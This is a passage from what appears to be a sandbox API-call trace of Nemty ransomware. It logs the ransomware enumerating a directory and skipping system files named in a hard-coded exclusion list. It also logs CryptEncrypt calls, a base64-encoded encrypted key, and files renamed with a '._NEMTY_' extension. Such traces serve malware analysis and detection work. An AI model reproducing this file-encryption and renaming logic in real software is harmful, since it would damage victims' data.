lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.629] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.629] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.639] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.639] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.639] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.639] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.648] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.648] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.648] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.648] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.657] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.657] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.657] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.657] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.667] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.667] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.667] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.667] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.673] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.673] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.673] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.673] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.679] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.679] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.679] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.679] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340240, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.679] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0168.679] CloseHandle (hObject=0xffffffff) returned 0 [0168.679] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403b0 [0168.679] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0168.679] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0168.679] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0168.679] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0168.679] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0168.679] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340468 [0168.679] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0168.679] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340468 | out: hHeap=0x4f90000) returned 1 [0168.679] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0168.679] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_blue_sun.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_blue_sun.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_blue_sun.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_blue_sun.png._nemty_kgobjgd_")) returned 0 [0168.679] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0168.679] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0168.680] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0168.680] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0168.680] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0168.680] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0168.680] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0168.680] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0168.680] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0168.680] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0168.680] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86fcb7a1, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86fcb7a1, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3675ba71, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xbc54, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="undocked_blue_windy.png", cAlternateFileName="")) returned 1 [0168.680] lstrcmpiW (lpString1="undocked_blue_windy.png", lpString2=".") returned 1 [0168.680] lstrcmpiW (lpString1="undocked_blue_windy.png", lpString2="..") returned 1 [0168.680] lstrcmpiW (lpString1="undocked_blue_windy.png", lpString2="...") returned 1 [0168.680] lstrcmpiW (lpString1="undocked_blue_windy.png", lpString2="windows") returned -1 [0168.680] lstrcmpiW (lpString1="undocked_blue_windy.png", lpString2="$RECYCLE.BIN") returned 1 [0168.680] lstrcmpiW (lpString1="undocked_blue_windy.png", lpString2="rsa") returned 1 [0168.680] lstrcmpiW (lpString1="undocked_blue_windy.png", lpString2="NTDETECT.COM") returned 1 [0168.680] lstrcmpiW (lpString1="undocked_blue_windy.png", lpString2="ntldr") returned 1 [0168.680] lstrcmpiW (lpString1="undocked_blue_windy.png", lpString2="MSDOS.SYS") returned 1 [0168.680] lstrcmpiW (lpString1="undocked_blue_windy.png", lpString2="IO.SYS") returned 1 [0168.680] lstrcmpiW (lpString1="undocked_blue_windy.png", lpString2="boot.ini") returned 1 [0168.680] lstrcmpiW (lpString1="undocked_blue_windy.png", lpString2="boot.ini") returned 1 [0168.680] lstrcmpiW (lpString1="undocked_blue_windy.png", lpString2="AUTOEXEC.BAT") returned 1 [0168.680] lstrcmpiW (lpString1="undocked_blue_windy.png", lpString2="ntuser.dat") returned 1 [0168.680] lstrcmpiW (lpString1="undocked_blue_windy.png", lpString2="desktop.ini") returned 1 [0168.680] lstrcmpiW (lpString1="undocked_blue_windy.png", lpString2="CONFIG.SYS") returned 1 [0168.680] lstrcmpiW (lpString1="undocked_blue_windy.png", lpString2="RECYCLER") returned 1 [0168.680] lstrcmpiW (lpString1="undocked_blue_windy.png", lpString2="BOOTSECT.BAK") returned 1 [0168.680] lstrcmpiW (lpString1="undocked_blue_windy.png", lpString2="bootmgr") returned 1 [0168.680] lstrcmpiW (lpString1="undocked_blue_windy.png", lpString2="programdata") returned 1 [0168.680] lstrcmpiW (lpString1="undocked_blue_windy.png", lpString2="appdata") returned 1 [0168.681] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0168.681] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_blue_windy.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0168.681] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0168.681] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_blue_windy.png", cchWideChar=23, lpMultiByteStr=0x4f9ecb8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_blue_windy.png", lpUsedDefaultChar=0x0) returned 23 [0168.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0168.681] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0168.681] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_blue_windy.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0168.681] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0168.681] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_blue_windy.png", cchWideChar=23, lpMultiByteStr=0x4f9ecb8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_blue_windy.png", lpUsedDefaultChar=0x0) returned 23 [0168.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0168.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0168.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0168.681] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0168.681] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_blue_windy.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0168.681] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0168.681] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_blue_windy.png", cchWideChar=23, lpMultiByteStr=0x4f9ecb8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_blue_windy.png", lpUsedDefaultChar=0x0) returned 23 [0168.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0168.681] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0168.681] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_blue_windy.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0168.681] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0168.681] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_blue_windy.png", cchWideChar=23, lpMultiByteStr=0x4f9ed08, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_blue_windy.png", lpUsedDefaultChar=0x0) returned 23 [0168.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0168.681] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400d0 [0168.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340188 | out: hHeap=0x4f90000) returned 1 [0168.681] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340188 [0168.681] Sleep (dwMilliseconds=0x5) [0168.696] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x183299f0, dwHighDateTime=0x1d561e8)) [0168.696] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x183299f0, dwHighDateTime=0x1d561e8)) [0168.696] GetLastError () returned 0x5 [0168.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0168.696] GetLastError () returned 0x5 [0168.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0168.696] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0168.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0168.696] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0168.696] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0168.697] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0168.697] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340240 [0168.697] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340240, pcchString=0x653e91c | out: pszString="X0dY6dnpdWzpBTFBxpfjUdyhPW0BiF0ELae1AfzCqPhgl8meAjkEqkt7qPAlxAq0\r\nOLdZa5dVzqR5MKXbwdDcq8culJ80RXJ5n3ymbsoQL5LyqdHlj4WQubN1F7F5Pk2S\r\nBsUsW2TDzD/9c66qz1kvZv0KVzJCsVQxRQ63p2A0KT9Um34OOBrRjbzQv0FSqyXj\r\nJp9MzJDmMmT2VvvNiHZ/6bqLtXs3c0BPhgHldcoGlp68Mu6NXam8jELIzriDXoLx\r\nSfEXyYvP0Gd7PmG6VJsqfke0rqu6noL2pM+fG5i+pLJ6D62AgdhsWOq69U7Pt/rP\r\n8Je0VFv3Q8wSg1Mw6zWUgQ==\r\n", pcchString=0x653e91c) returned 1 [0168.697] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0168.697] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0168.697] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0168.697] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0168.697] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340240 [0168.697] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0168.697] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_blue_windy.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_blue_windy.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.698] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0168.699] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0168.699] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.699] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.708] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.708] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.708] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.708] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.717] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.717] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.718] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.718] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.727] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.727] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.727] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.727] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.736] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.736] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.736] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.737] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.746] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.746] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.746] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.746] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.755] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.755] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.755] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.755] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.775] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.775] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.775] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.775] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.784] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.784] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.784] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.784] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.794] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 